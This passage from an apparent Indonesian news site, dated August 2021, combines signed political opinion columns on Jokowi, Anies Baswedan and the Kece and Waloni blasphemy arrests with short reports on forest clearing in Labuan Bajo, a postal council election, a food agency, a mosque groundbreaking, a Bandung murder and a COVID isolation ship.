wajah mirip Presiden Joko Widodo dengan tulisan "404: Not Found", di Batuceper, Kota Tangerang, Banten. Ada juga mural bertuliskan 'WABAH SESUNGGUHNYA ADALAH KELAPARAN' yang terletak di Parung Serab, Ciledug, Kota Tangerang. Rezim mestinya takut jika rakyatnya tidak bisa makan, bukan takut pada bayangannya sendiri. Mereka mestinya takut menumpuk utang dan menyelewengkan anggaran. Mereka seharusnya takut memfitnah dan mengadu-domba umat Islam. Tampaknya mereka tidak takut ditawur rakyatnya sendiri. Mereka kini sedang takut kelakuannya sendiri, takut terbongkar kebobrokannya, dan keculasannya. Mereka tidak pernah memikirkan rakyat bagaimana setiap hari dihantui ketakutan masa depan yang suram, PHK (Pemutusan Hubungan Kerja) setiap saat, dan tidak bisa makan. Yang dipikirkan hanya ketakutan mereka sendiri. Semoga ketakutan mereka menjadi kenyataan.

Dihadang Dari Seluruh Penjuru, Mampukah Anies Tetap Melaju?

Oleh Tony Rosyid (Pengamat Politik dan Pemerhati Bangsa) DINAMIKA terkait Gubernur DKI Anies Baswedan ini menarik. Sejak kalahkan Ahok di pilgub DKI 2017, segalanya menjadi dinamis. Pendukung Anies dituduh bermain politik identitas. Tuduhan ini terutama datang dari pendukung Ahok. Kalau kita belajar teori solidaritas sosial, maka tak ada masalah dengan politik identitas. Sesuatu yang alami, tidak dapat dihindari, dan akan terus ada di sepanjang sejarah. PKB dengan NU-nya, PAN dengan Muhammadiyahnya, PBB dengan Masyuminya, semua menggunakan politik identitas. Apalagi kalau pilkada, putera daerah non-putra daerah jadi isu yang sangat kuat. Yang menjadi masalah bukan politik identitas. Selama calon pemimpin itu punya integritas, punya kapasitas, mampu bekerja baik dan membuat kota itu maju, tak perlu dipersoalkan identitasnya. Yang disoal mesti personalnya. Meski tak kentara politik identitasnya, tapi kalau personalnya bermasalah: tak punya integritas dan kapasitas, apalagi korup, ini yang jadi masalah buat rakyat dan bangsa. Ini yang akan merusak negara dan sejarah Indonesia. Ini yang harus dipersoalkan. Tapi kenapa isu pilkada DKI yang terus dipersoalkan? Publik membaca ada kekuatan besar, terutama kekuatan politik dan ekonomi, yang tidak menghendaki Anies. Kenapa Anies ditolak? Secara politik, Anies punya kans besar untuk menjadi presiden. Bahkan kans ini terbaca sejak Anies jadi Mendikbud. Secara ekonomi, Anies sulit berkompromi jika itu melanggar aturan dan merugikan negara. Pembatalan pulau reklamasi menjadi salah satu buktinya. Nyata, jelas dan terang benderang. Tak ada kompromi jika itu melanggar aturan dan merugikan negara. Publik harus paham dan obyektif soal ini. Nampaknya, ini bukan kebijakan untuk keren-kerenan. Tapi ini kebijakan yang sungguh berisiko. Karena yang dihadapi adalah kekuatan ekonomi besar. Dua kekuatan, yaitu politik dan ekonomi ini yang nampaknya terus berupaya mengganggu Anies. Maka, semua ruang yang mendukung Anies ke kursi presiden dijegal, ditutup dan dihalangi. Semua hal yang berpotensi membuat popularitas, akseptabilitas (respek publik) dan elektabilitas Anies naik, akan diganggu. Pembahasan revisi UU Pemilu yang sudah masuk ke prolegnas DPR, mendadak ditarik. Dengan revisi UU Pemilu, 2022 dan 2023 akan ada pilkada. Surveinya, elektabilitas Anies 60-65 persen jika pilgub DKI digelar tahun 2022. Akhirnya, rencana revisi UU Pemilu dibatalkan. Tidak sampai disitu. Formula E sebagai even internasional yang akan digelar oleh Anies di 2022 juga berupaya dibatalkan dengan interpelasi. Tidak main-main, ada 33 anggota DPRD dari Fraksi PDIP dan PSI yang mengajukan hak interpelasi. Macam-macam argumennya. Intinya, mau jegal Anies. Kenapa diinterpelasi, karena even ini dianggap akan semakin mempopulerkan nama Anies. Tidak saja di tingkat nasional, tapi juga di mata dunia internasional. Jika ini terealisir, akan ikut memuluskan jalan Anies ke istana. Namun, 7 fraksi di DPR menolak interpelasi tersebut. Tetap mendukung terlaksananya Formula E di 2022. Kalau even ini terlaksana, maka komitmen fee yang sudah terbayar tidak hilang, dan peluang investasi di Indonesia, dan di Jakarta khususnya, akan terbuka. Dengan begitu, ini bisa menggenjot pertumbuhan ekonomi yang sedang loyo karena pandemi. Tampaknya manuver interpelasi gagal lagi. Tidak sampai di situ, Jakarta Internasional Stadium (JIS), lapangan sepakbola bertaraf internasional ini pun juga digugat. Demi hemat anggaran di masa pandemi, JIS diprotes dan diminta untuk dihentikan. Stadion yang lebih megah dari stadion Real Madrid ini dianggap akan menjadi pembangunan monumental Anies. Ada yang khawatir stadion ini akan semakin melambungkan nama Gubernur DKI Jakarta ini. Setelah pilkada diundur ke 2024, Formula E diinterpelasi dan JIS digugat, entah apalagi yang akan dipersoalkan di DKI. Publik memprediksi, gangguan kepada Anies tidak akan berhenti sampai disini. Kabarnya, sudah ada gerilya ke parpol-parpol untuk menghalangi dukungan ke Anies maju di pilpres 2024. Nasibmu Nis... Nis... Tapi kalau Tuhan menghendaki Anies jadi presiden, ya takdirnya akan tetap jadi presiden. Tugas Anies yang tinggal setahun lagi di Jakarta ini adalah menuntaskan janji-janjinya dan menyelesaikan pekerjaan yang sudah dimulai. Tetap harus jaga integritas, karena rakyat butuh pemimpin yang berintegritas selain berkapasitas. Soal presiden, serahkan kepada rakyat, karena rakyat tidak akan buta untuk melihat mana yang terbaik buat bangsa ini. Tugas para pemimpin, khususnya pemimpin daerah adalah menunjukkan kinerja dan prestasi terbaik, bukan sibuk main medsos dan bikin pencitraan di media. Ke depan, rakyat butuh pemimpin yang jujur dan apa adanya. Bukan pemimpin yang banyak polesan. Jakarta, 28 Agustus 2021

Anggota DPR Sebut Pembabatan hutan di Manggarai Barat Ancam Air Bersih

Kupang, FNN - Komisi IV DPR menyatakan bahwa pembabatan hutan lindung oleh Kementerian Lingkungan Hidup dan Kehutanan (KLHK) di Hutan Lindung Bowosie yang berlokasi di Satar Kodi, Desa Nggorang, Kecamatan Komodo, Kabupaten Manggarai Barat, NTT, mengancam krisis air bersih di daerah itu. “Hutan Bowosie adalah sumber mata air minum satu-satunya bagi masyarakat Kota Labuan Bajo.Jika hutan ini dibabat dikhawatirkan menggangu kebutuhan air bersih di Labuan Bajo," kata anggota Komisi IV DPR Yohanis Fransiskus Lema, dihubungi ANTARA dari Kupang, Sabtu. Politisi PDI Perjuangan itu mengatakan, saat ini harapan masyarakat di daerah itu, kini bertumpu dari hutan Bowosie saja karena masih ada tiga aliran kali yang berhulu dari Bowosie. Tiga aliran kali itu berasal yang berasal dari Wae Mese, yakni aliran Wae Nuwa, Wae Sipi dan kali Wae Baling. Wae dalam bahasa setempat berarti sungai. "Jika hutan dibabat, maka rakyat terancam mengalami kesulitan air bersih. Demikian pula, sungai terancam kering, sehingga pasokan air untuk lahan-lahan pertanian berkurang,” kata dia. Apalagi saat ini, pemerintah telah mengalih fungsi lahan seluas 400 Hektare di hutan Bowosie untuk kepentingan bisnis pariwisata yang dikelola Badan Pelaksana Otorita-Labuan Bajo Flores. Dalam desain perencanaan, lahan alih fungsi akan dibangun hotel, perumahan komersial, restoran, dan teater. Pembabatan hutan semakin berakibat buruk bagi masyarakat Labuan Bajo karena mereka kehilangan hutan sekaligus air. “Ibarat sudah jatuh tertimpa tangga pula. Masyarakat kehilangan hutan, serentak pula kehilangan sumber air untuk kebutuhan sehari-hati, juga untuk pertanian dan peternakan,” kata dia. Ia mengingatkan, status hutan Bowosie adalah hutan produksi dan bersebelahan dengan hutan lindung. Maka, apabila akan digunakan untuk tujuan non kehutanan, terlebih dahulu harus mengurus analisis dampak lingkungan (AMDAL) dan mendapatkan persetujuan lingkungan untuk mengurus persetujuan penggunaan kawasan hutan. Namun, kenyataannya saat ini pembabatan hutan belum ada izinnya, tidak transparan, dan cenderung disembunyikan dari masyarakat. Sementara itu Kepala Kesatuan Pengelolaan Hutan Manggarai Barat, Stefanus Nali, melalui staf KPH Manggarai Barat Hasan mengatakan bahwa polemik pembabatan hutan Bowosie itu di luar dari hutan seluas 400 Hektare yang akan diserahkan kepada BPOLBF. "Soal pembabatan hutan oleh KLHK itu diluar dari lahan seluas 400 Hektare yang akan diserahkan ke BPOLBF," ujar dia. Hutan yang dibabat itu luasnya mencapai tiga sampai empat hektare dan direncanakan akan digunakan untuk menanam pohon atau bunga yang didatangkan dari luar negeri dengan tujuan mempercantik bukit-bukit sekitar Labuan Bajo selain itu juga akan dibangun juga bangunan untuk persemaian. (sws)

Penangkapan Waloni untuk Menyamakan Skor?

By Asyari Usman SELANG dua hari Muhammad Kece ditangkap, Bareskrim Polri menahan mantan pendeta Yahya Waloni dengan tuduhan yang sama. Pasal-pasal yang dikenakan pun sama. Mereka didakwa menista agama. Kece dituduh menghina Islam, Quran dan Nabi SAW. Waloni disangkakan menista Injil, atau menista agama Kristen. Waloni juga disebut melakukan perbuatan SARA. Kece ditangkap pada 24/8/2021 di Bali sedangkan Waloni ditahan pada 26/8/2021 di Cibubur. Penangkapan Waloni sangat menarik untuk disimak. Mengingat waktunya begitu dekat dengan penahanan Kece. Tak salah kalau Anda menyangka penangkapan Waloni merupakan tindakan “levelling the score” alias “menyamakan skor”. Apa maksud menyamakan skor? Saya yakin Anda semua paham. Di Indonesia ini, sejak Jokowi berkuasa, umat Islam tidak boleh merasa lebih dari yang lain. Bahkan, kebalikannya, umat Islam dipoiokkan, ditindas, diminoritaskan perasaannya. Ini terbukti dari maraknya penghinaan terhadap Islam yang dibiarkan saja oleh penguasa. Para pelaku tidak dikejar. Proses hukum terhadap para penista, kalau pun ada laporan dengan bukti-bukti kuat, cenderung dibertele-telakan. Akhirnya menguap begitu saja. Sebaliknya, jika para ustad dan ulama yang dituduh melakukan pelanggaran, para penegak hukum cepat sekali. Dalam hitungan jam sudah dimulai proses hukumnya. Langsung ditahan dan dijadikan tersangka. Kasus-kasusnya diprioritaskan. Kece ditangkap setelah semua pimpinan umat Islam mendesak. Dan setelah netizen di seluruh pelosok negeri mengisyaratkn bahwa hukum jalanan akan menjadi alternatif jika si penista tidak ditangkap. Akhirnya Kece ditangkap. Tetapi, skor 1-0 ini sepertinya tidak boleh dibiarkan. Orang lain melihat penangkapan Kece sebagai tindakan “penguasa yang tunduk pada umat Islam”. Ini tidak boleh terjadi. Harus ada “balancing act” (tindakan penyeimbang). Skor harus disamakan. Paling tidak! Kalau bisa, skor harus selalu 1-2 atau 1-3. Rupanya, ada jalan untuk menyamakan skor itu. Waloni orangnya. Kebetulan sekali mantan pendeta kelas berat ini rajin menyampaikan ceramah keras. Banyak ceramah keras Waloni yang bertema menggugat Injil. Berkali-kali dia menyebut Injil palsu dan dia mengaku bisa membuktikannya. Isi ceramah tentang Injil ini konon dilaporkan ke Bareskrim Polri. Polisi bertindak cepat. Waloni ditahan dua hari setelah Kece ditangkap. Skor menjadi sama: 1-1.[] (Penulis wartawan senior)

Dasar Otak Udang

Oleh Sugengwaras Namanya udang, otaknya jadi satu dengan kotorannya. Berbeda dengan ada udang di balik batu, di siini udangnya tersamar oleh batu, artinya udang menjadi tujuan utama yang disembunyikan di belakang batu. Dengan kata lain sehebat-hebatnya udang yang disamar/dilindungi batu, punya habitat yang menjijikkan, karena dikodratkan otaknya yang hebat itu berdekatan dengan kotorannya. Begitu juga dengan manusia, yang kadang aneh cara berpikir dan berpandang. Misalnya LBP, yang dengan semangat dan bangganya mengabarkan, mengobarkan, dan mengibarkan tentang akan didirikan pabrik Vaksin oleh Cina di Indonesia yang direncanakan April 2022 sudah berproduksi. Seakan tidak disadari bahwa di balik kehebatan LBP di mata Jokowi, ternyata tidak mempunyai rasa bangga dan rasa bahagia terhadap bangsa sendiri. Bela Cina Abaikan Pribumi Bagaimana tidak, seharusnya sebagai menteri dengan predikat menteri segala urusan itu harus diimbangi dengan jiwa dan pikiran seorang negarawan. Artinya seharusnya LBP berpikir, di mana bumi dipijak di situ langit dijunjung. Konkritnya, dia seharusnya malu, berkoar-koar kepada orang banyak, merasa puas dan bangga terhadap bangsa asing, Cina yang akan bisa berkarya dan berproduksi dengan menggunakan tanah/bumi pertiwi padahal ada anak pribumi yang mampu seperti itu, ambil contoh dr Terawan dan dr Siti Fadilah. Saya yakin jika kedua anak bangsa ini dimanfaatkan dan diberdayakan, tidak akan kalah dengan andalan LBP, Cina yang dibangga banggakan itu. Dari sini dapat diduga, apa dan bagaimana sesungguhnya yang terpikir dan terbayang di otak LBP, meskipun saya yakin otaknya bukan otak udang. Semoga Allah Subhanallahu Wataala, Tuhan Yang Mahakuasa, memberikan bimbingan dan petunjuk kepada LBP yang banyak dipuja banggakan Presiden Joko Widodo. Namun demikian, kita layak berterima kasih kepada LBP, karena suka tidak suka, apa komentar LBP merupakan hak pribadinya. Di sisi lain, ada hikmahnya untuk kita, agar kita mau tidak mau, enak tidak enak, tetap mengedepankan, memanfaatkan dan memberdayakan saudara sendiri, teman sendiri, bangsa sendiri dalam berdoa, berucap maupun bertindak terkait masa depan yang lebih baik. *) Purnawirawan TNI AD.

Waloni Tidak Sama dengan Kece

By M Rizal Fadillah MENEMPATKAN pandangan keagamaan yang berbeda antara satu agama dengan agama lainnya adalah hal yang wajar. Konsekuensi dari pluralisme yang dihargai. Kasus Yahya Waloni dan Muhammad Kece berbeda dalam konteks penghinaan atau penistaan agama. Kece menista sedangkan Waloni tidak. Kece berkoar dengan menafsirkan seenaknya tanpa dasar dan basis keagamaan yang cukup tentang Nabi Muhammad yang disebut pengikut Jin atau bersalam muslim mengganti Allah dengan Yesus. Ini sama sekali tidak berhubungan dengan pemahaman Kristiani. Itu adalah hawa nafsu Kece sendiri. Berbeda dengan Waloni yang menyatakan bahwa Bible palsu maka hal ini menjadi keyakinan umat Islam pada umumnya. Jika sebagai orang Kristen Kece menyatakan bahwa Qur'an tidak benar bahkan palsu maka itupun adalah haknya. Ia tidak meyakini Qur'an. Tapi jika ia menyatakan Qur'an itu adalah igauan Nabi Muhammad misalnya, maka itu penistaan. Karena ia telah menafsirkan dimana keyakinan Kristiani juga tidak menggambarkan demikian. Yahya Waloni menyebut bahwa Bible itu palsu tentu berdasarkan pemahaman ilmu teologi yang dikuasainya. Ia akan mampu mempertanggungjawabkan dengan dasar keyakinan dan keilmuannya. Jika ada argumen bantahan maka pandangan Yahya itu bisa dibawa ke ruang diskusi teologis. Demikian juga jika ada orang lain yang merasa berpengetahuan bahwa Al Qur'an itu palsu misalnya, itupun dapat diperdebatkan pula. Kece nampaknya bukan orang yang berpengetahuan dalam soal agama baik Islam maupun Kristen. Ungkapannya lebih pada sentimen keagamaan dan mencari sensasi bahkan komersial karena berujung pada donasi. Bukan eksplanasi dari substansi sebuah religi. Kini keduanya diproses secara hukum. Untuk Kece ujarannya mengandung kebencian dan yang bukan menggambarkan pandangan Kristiani, karenanya tidak mudah untuk mendapat dukungan terbuka dari umat Kristen. Justru kecaman besar dari umat Islam yang didapat. Sebaliknya Waloni yang diposisikan penyeimbang atau balas dendam tentu akan mendapat support dan perhatian dari umat Islam. Membawa perdebatan tentang orisinalitas Bible ke ruang hukum justru dapat mengguncangkan. Waloni akan menempatkan sebagai bagian dari elemen pembela Islam. Ruang sidang menjadi arena pembuktian. Berbeda dengan si Kece yang dinilai ngelantur ujarannya karena sangat tidak berbasis dalil atau kajian. Umat tinggal mengikuti saja buka-bukaan soal agama di forum hukum yang tentu berdampak SARA dan menjadi perhatian nasional, bahkan Internasional. isu menariknya adalah "Bible itu palsu". Semestinya "balas dendam" dan perdebatan keagamaan yang dibawa ke ruang Pengadilan seperti ini tidaklah perlu jika Pemerintah cinta damai dan menjaga kerukunan. Bisa saja kasus Waloni menjadi magnet baru dari sentimen keumatan dan keagamaan. Membangun fanatisme dan membuka celah friksi. Yahya Waloni tidak sama dengan Kece sang pemaki umat dan penista agama. Kece lebih dekat dan sama dengan Abu Janda ! *) Pemerhati politik dan Kebangsaan

Indonesia Terpilih Sebagai Anggota Dewan Pos PBB

Jakarta, FNN - Indonesia terpilih sebagai anggota Dewan Pos Perserikatan Bangsa-Bangsa (Postal Operations Council/POC) pada Kongres ke-27 Universal Postal Union (UPU) yang diselenggarakan di Abidjan, Pantai Gading, pada 25 Agustus 2021. Delegasi Indonesia yang dipimpin Duta Besar RI untuk Senegal yang wilayah akreditasinya meliputi Pantai Gading, Dindin Wahyudin, berhasil mendapatkan 91 suara dalam pemilihan tersebut. “Terpilihnya Indonesia sebagai anggota POC UPU merupakan bukti kepercayaan dunia internasional atas peran aktif Indonesia selama ini dan ke depan dalam pengembangan layanan pos global,” kata Dubes Dindin dalam keterangan tertulis KBRI Dakar, Jumat, 27 Agustus 2021. Selain itu, ujar Dindin, terpilihnya Indonesia sebagai anggota POC UPU memiliki arti strategis bagi kepentingan nasional Indonesia, terutama dalam mendukung konektivitas dan pembangunan di Indonesia melalui layanan pos yang maju dan inovatif. Dengan demikian, untuk periode 2021-2024 Indonesia akan mewakili kawasan Asia Selatan dan Oseania bersama Jepang, China, India, Singapura, Australia, Uni Emirat Arab, Arab Saudi, Korea Selatan, Vietnam, dan Malaysia. Menurut Antara, Indonesia sebelumnya bersaing dengan 20 negara lainnya memperebutkan 11 kursi yang tersedia pada kelompok IV POC UPU untuk Kawasan Asia Selatan dan Oseania. UPU ditetapkan sebagai badan khusus PBB yang menangani bidang pos sejak 1 Juli 1948. UPU merupakan forum utama pertemuan negara-negara anggota dan penyelenggara layanan pos seluruh dunia. Negara-negara anggota UPU merumuskan dan menetapkan peraturan pos internasional seperti administrasi pos, operasional/tata laksana pos internasional, serta produk dan jasa layanan pos. UPU juga menyediakan asistensi teknis kepada negara anggotanya dalam mengembangkan sektor pos. Berkantor pusat di Bern, Swiss, UPU memiliki 192 negara anggota. UPU memiliki dua dewan utama yaitu Council of Administration (CA) dan Postal Operations Council (POC). CA merupakan dewan yang bertugas mengawasi jalannya pelaksanaan rencana strategis dan fungsi-fungsi dalam UPU, yang mencakup urusan regulasi, administrasi, legislasi, dan aspek-aspek legal. Sedangkan POC merupakan dewan yang menangani urusan teknis maupun operasional layanan pos. (MD).

Badan Pangan Nasional Belum Sesuai Amanat Undang-Undang

Jakarta, FNN - Ekonom senior dari Universitas Indonesia, Faisal Basri menilai pembentukan Badan Pangan Nasional (BPN) yang tertuang dalam Peraturan Presiden Nomor 66 Tahun 2021 belum sesuai dengan yang diamanatkan pada UU Nomor 18 Tahun 2012 tentang Pangan. Faisal Basri mengatakan hal tersebut di Jakarta, Jumat, 27 Agustus 2021. Kewenangan BPN yang tertuang dalam Perpres 66/2021 sangat terbatas dan tidak seperti desain awal yang tertuang dalam UU 18/2012. Dia menerangkan, ide awal pembentukan BPN yaitu badan yang mengatur pangan nasional secara menyeluruh yang menyangkut berbagai aspek yang berkaitan dengan pangan. "Desain awal mencoba sebagai super body, karena mengurusi dari hulu sampai hilir pangan untuk rakyat. Dari ketahanan pangan, keamanan pangan, kedaulatan pangan, mulai produksi, distribusi, konsumsi, harga, hingga persoalan stunting pun ada," kata Faisal, sebagaimana dikutip dari Antara. Akan tetapi, kata Faisal, ide awal BPN yang memiliki banyak kewenangan itu dinilai tumpang tindih dengan berbagai kementerian dan lembaga lainnya. Apalagi perihal pangan nasional kerap diatur oleh kementerian dan lembaga yang dominan terkait kebijakan-kebijakannya. Faisal mencontohkan, komoditas gula dengan gula rafinasinya dan garam lebih banyak diurus oleh Kementerian Perindustrian. Komoditas beras lebih dominan dari Kementerian Perdagangan terkait impor, dan impor daging lebih banyak diurus oleh Kementerian Pertanian. "Sehingga BPN yang di Perpres 66/2021 itu menyisakan sedikit sekali kewenangan, membuat BPN tidak bertaring," katanya. Menurut pandangannya, BPN hanya akan mengarah pada kebijakan terkait pangan. Namun, institusi yang melaksanakannya adalah kementerian atau lembaga lain. "Mirip seperti sekarang BPN hanya mengarah pada kebijakannya saja, tapi yang melaksanakan Bulog. Sama saja seperti sekarang," kata dia. Faisal berpendapat BPN yang baru dibentuk tersebut belum bisa disebut sebagai obat mujarab ketahanan pangan nasional. Presiden Joko Widodo meneken Perpres Nomor 66 Tahun 2021 tentang Badan Pangan Nasional beberapa hari lalu sebagai tindak lanjut dari ketentuan Pasal 129 Undang-undang Nomor 18 Tahun 2012 tentang Pangan sebagaimana telah diubah dengan Undang-Undang Nomor 11 Tahun 2020 tentang Cipta Kerja. Badan Pangan Nasional akan melaksanakan tugas pemerintah di bidang pangan yang akan dipimpin oleh seorang kepala dan berada serta bertanggung jawab langsung kepada Presiden. Beberapa fungsi Badan Pangan Nasional yaitu melakukan koordinasi, perumusan, penetapan kebijakan terkait pangan. Melakukan pengadaan dan penyaluran pangan melalui BUMN (Badan Usaha Milik Negara) pangan, hingga pengembangan sistem informasi pangan. (MD).

Ditolak Warga Nonmuslim, Anies Letakkan Batu Pertama Pembangunan Masjid At-Tabayyun

Jakarta, FNN - Gubernur Daerah Khusus Ibukota Jakarta, Anies Baswedan meletakkan batu pertama tanda dimulainya pembangunan Masjid At-Tabayyun, di Perumahan Taman Villa Meruya, Jakarta Barat, Jumat, 27 Agustus 2021. Masjid yang berada di kawasan perumahan mewah tersebut diharapkan menjadi green building platinum, karena konsepnya yang ramah lingkungan. "Jadikan masjid ini sebagai tempat yang ramah lingkungan. Apalagi, dalam proses pembangunannya melewati masa tiga tahun. Proses perizinan diselesaikan dengan baik. Dari namanya, At-Tabayyun, memperlihatkan pembangunannya (mulai dari izin) tidak dilakukan tergesa-gesa," kata Anies saat memberikan sambutan sebelum peletakan batu pertama dan penandatangananan prasasti dimulainya pembangunan masjid yang mendapat penolakan dari segelintir non-muslim yang berada di perumahan tersebut. Green building atau bangunan hijau adalah bangunan yang secara life cycle-nya di mulai sejak tahap perencanaan, pembangunan, pengoperasian, pemeliharaan, renovasi, hingga pembongkarannya memperhatikan dampak negatif dan menciptakan dampak positif terhadap iklim dan lingkungan alam. Menurut laporan Ketua Panitia Pembangunan Masjid At-Tabayyun, Mara Sakti Siregar, masjid mengedepankan konsep ramah lingkungan, yang antara lain ditandai dengan penggunaan listrik tenaga surya atau matahari. Diharapkan, masjid yang akan selesai tujuh bulan ke depan itu akan menjadi nyaman dan aman bagi jamaah maupun penduduk di sekitarnya. Anies berharapa, masjid tersebut kelak menjadi simpul bagi semua penduduk di kompleks perumahan tersebut. Rumah di sekitar rumah semestinya mendapatkan keberkahan. Sebab, tidak sedikit yang rumahnya di dekat masjid, ketika mau dijual harganya malah murah. "Masjid harus membawa keberkahan," kata Anies yang melaksanakan shalat Jumat, di Masjid Tenda At-Tabayyun yang berdiri sejak bulan Ramadhan yang lalu. Bertindak sebagai khatib adalah Ketua Majelis Ulama Indonesia (MUI) Pusat, Muhammad Cholil Nafis. Berdasarkan pantauan Antara, sejumlah warga menyambut Anies Basewdan dan rombongan saat tiba di lokasi pembangunan masjid tersebut. Ia beserta pengawalan lengkap mendatangi lokasi pada pukul 11.20 WIB, kemudian warga bertepuk tangan dan bersorak-sorai. ​​Panitia dan tokoh masyarakat setempat pun langsung menyambut mantan Rektor Universitas Paramadina itu di depan pintu masuk. Setelah mengisi buku tamu, Anies yang memakai baju batik berwarna biru pun masuk sambil menyapa warga dan beberapa awak media yang telah menunggu kedatangannya. Saat memasuki tenda, Anies langsung disambut dan dikalungi sarung oleh ketua Forum Kerukunan Umat Beragama (FKUB) Jakarta Barat Ujang Badri. Sebelumnya, pihak penyelenggara hanya mengizinkan 40 orang tamu undangan untuk hadir dalam kegiatan tersebut. Sedangkan tamu undangan yang lain bisa mengikuti jalannya acara secara daring. "Acara dilaksanakan secara hybrid. Di luar undangan VVIP, dapat mengikuti acara dari tenda yang disediakan atau melalui aplikasi Zoom Meeting, siaran live di Channel YouTube Realita TV, FB, dan Instagram," kata Marah Sakti Siregar. Mara Sakti berharap dengan pembangunan masjid tersebut, warga sekitar bisa menjalankan shalat hingga kegiatan keagamaan lain dengan nyaman dan aman. Ia memberikan penghargaan kepada Gubernur DKI Jakarta Anies Baswedan yang menerbitkan izin penggunaan lahan aset Pemprov DKI seluas 1.078 m2 untuk pembangunan masjid pada Oktober 2020. "Terima kasih panitia juga disampaikan kepada jajaran Pemprov DKI, Wali Kota Jakarta Barat, Camat Kembangan, Lurah Meruya Utara dan Selatan hingga Ketua RT dan RW yang terus membantu dan mendukung panitia," ujarnya. Marah Sakti mengatakan selama ini warga setempat melaksanakan ibadah shalat di tenda Masjid At Tabayyun yang dijuluki "Tenda Arafah". Masyarakat telah melaksanakan kegiatan Shalat Jumat, shalat fardhu lima waktu, Shalat Tarawih, dan Iktikaf 10 hari terakhir Bulan Ramadhan di masjid tenda itu. Selain itu, masyarakat Taman Villa Meruya juga melakukan kegiatan sosial, seperti penyerahan santunan kepada yatim piatu dan kalangan kurang mampu secara ekonomi di tenda itu. Sedangkan Ketua Dewan Pengarah Pembangunan Masjid At-Tabayyun, Ilham Bintang mengatakan, proses perjalanan pembangunan masjid sampai peletakan batu pertama itu merupakan yang terpanjang. Sudah tiga tahun diajukan, dan sudah tiga Wali Kota Jakarta Barat yang menangananinya. "Alhamdulillah, di tangan Wali Kota, Pak Uus Kuswanto izinnya keluar," kata Ilham. Direncanakan, luas bangunan mencapai 750 meter persegi (m2) di atas tanah 400 m2. Total lahan yang dihibahkan Pemerintah Provinsi DKI Jakarta menjadi fasilitas soial 1.078 m2. (FNN).

Polisi Ungkap Pembunuh Perempuan Tewas Dibungkus Selimut di Bandung

Bandung, FNN - Unit Resmob Polrestabes Bandung bersama Polsek Rancasari menangkap pelaku pembunuhan perempuan yang ditemukan tewas dibungkus selimut, di Sungai Cidurian, Kota Bandung, Jawa Barat. Kapolrestabes Bandung Kombes Pol Aswin Sipayung mengatakan pelaku bernama Iqbal Akhmad Romadoni (23) yang ditangkap di wilayah Ciamis, usai berupaya melarikan diri. Polisi juga melakukan tindakan tegas dengan menembak ke arah kaki pelaku karena berusaha melarikan diri. "Peristiwa pembunuhan itu terjadi pada 12 Agustus 2021, lalu pada tanggal 16 Agustus 2021 warga menemukan mayat korban di Sungai Cidurian," kata Aswin, di Mapolrestabes Bandung, Kota Bandung, Jumat. Aswin menjelaskan, korban yang berinisial SS (20) itu dibunuh di rumah pelaku yang berada di Jalan Rancasawo, Kecamatan Buahbatu, Kota Bandung. Saat itu, pelaku menghubungi korban untuk datang ke rumah pelaku pada pukul 04.30 WIB. "Pelaku menghubungi korban melalui aplikasi pesan singkat, belakangan diketahui bahwa korban ini merupakan PSK," kata Aswin. Setelah datang ke rumah pelaku, kemudian terjadi cekcok antara pelaku dengan korban. Setelah cekcok tersebut, pelaku emosi lalu melakukan penusukan kepada korban menggunakan pisau. "Jadi tersangka tidak bisa berhubungan intim, maka korban meminta uang ganti Rp100 ribu, namun tersangka itu menjadi emosi," kata Aswin. Setelah korban dihabisi pada pagi hari, Aswin mengatakan, pelaku membungkus korban menggunakan seprai dan selimut yang ada di rumah tempat kejadian. Kemudian pada pukul 18.30 WIB, pelaku membawa korban untuk dibuang ke sungai. "Korban disimpan dulu beberapa jam sampai sore, setelah jam 18.30 WIB baru korban dibawa menggunakan gerobak pasir yang ada di depan rumah pelaku, dan pelaku mendorong memasukkan korban ke sungai," katanya lagi. Dalam kasus pembunuhan ini, polisi menjerat Iqbal dengan Pasal 338 KUHP tentang barang siapa yang dengan sengaja merampas nyawa orang lain dengan ancaman 15 tahun penjara.(sws)

Panglima TNI dan Kapolri Tinjau Isoter KM Tidar di Jayapura

Jayapura, FNN - Panglima TNI Marsekal TNI Hadi Tjahjanto dan Kapolri Jenderal Pol Listyo Sigit Prabowo, Jumat, meninjau tempat isolasi terpusat (isoter) di KM Tidar yang bersandar di Pelabuhan Jayapura, Papua. Kedua petinggi TNI dan Polri itu sempat melakukan interaksi secara virtual dengan pasien yang dirawat di isoter terapung yang dibuka sejak Sabtu (21/8). Kapolri Jenderal Pol Listyo Sigit Prabowo mengajak seluruh warga Papua, khususnya di Jayapura dan sekitarnya, bila terpapar virus corona jenis baru tersebut agar menjalani karantina di tempat isoter. Berdasarkan pengakuan pasien yang menjalani isoter kapal milik PT Pelni itu, terungkap bahwa tempat isolasi terapung memiliki fasilitas penunjang lengkap dan diawasi secara intensif oleh tenaga kesehatan (nakes). "Saya dengan Pak Panglima dan tim tentunya sangat terima kasih serta senang setelah mendengar apa yang disampaikan bahwa di isoter mendapatkan pelayanan yang baik dari fasilitas maupun pengawasan secara intensif dari tenaga kesehatan," katanya. Oleh karena itu, ia berharap, warga mau mengajak atau menyosialisasikan kepada keluarga dan kerabatnya yang terpapar virus tersebut agar mau melakukan karantina di tempat isoter. Mantan Kabareskrim itu juga mengatakan dengan fasilitas isoter yang lengkap dan pengawasan tenaga kesehatan yang memadai, maka kesembuhan pasien dari paparan virus corona semakin tinggi. Selain itu, kata dia, warga yang menjalani isoter dapat mencegah penularan terhadap orang lainnya. "Sampaikan ke saudara-saudara bahwa isoter yang ada kapal terapung ini fasilitasnya lengkap dan kita semua dapatkan jaminan bahwa dengan dokter dan obat-obatan yang ada, maka kesembuhan akan cepat terwujud," kata Jenderal Pol Sigit. Pada kesempatan itu, ia memberikan apresiasi kepada tenaga kesehatan yang terus berjuang tanpa kenal lelah untuk merawat masyarakat yang terpapar virus corona. "Terima kasih kepada tenaga kesehatan, karena sudah dirawat saudara-saudara kita, tolong setiap hari terus dicek secara intensif kondisi para pasien sehingga mereka dapat segera sehat dan sembuh," kata dia. Hingga Kamis (26/8), tempat isoter KM Tidar merawat 34 orang, namun tujuh orang di antaranya sudah dinyatakan sembuh sehingga yang dirawat 27 orang.(sws)

Polda Jambi Targetkan Pemasangan 30 "CCTV" Pantau Karhutla

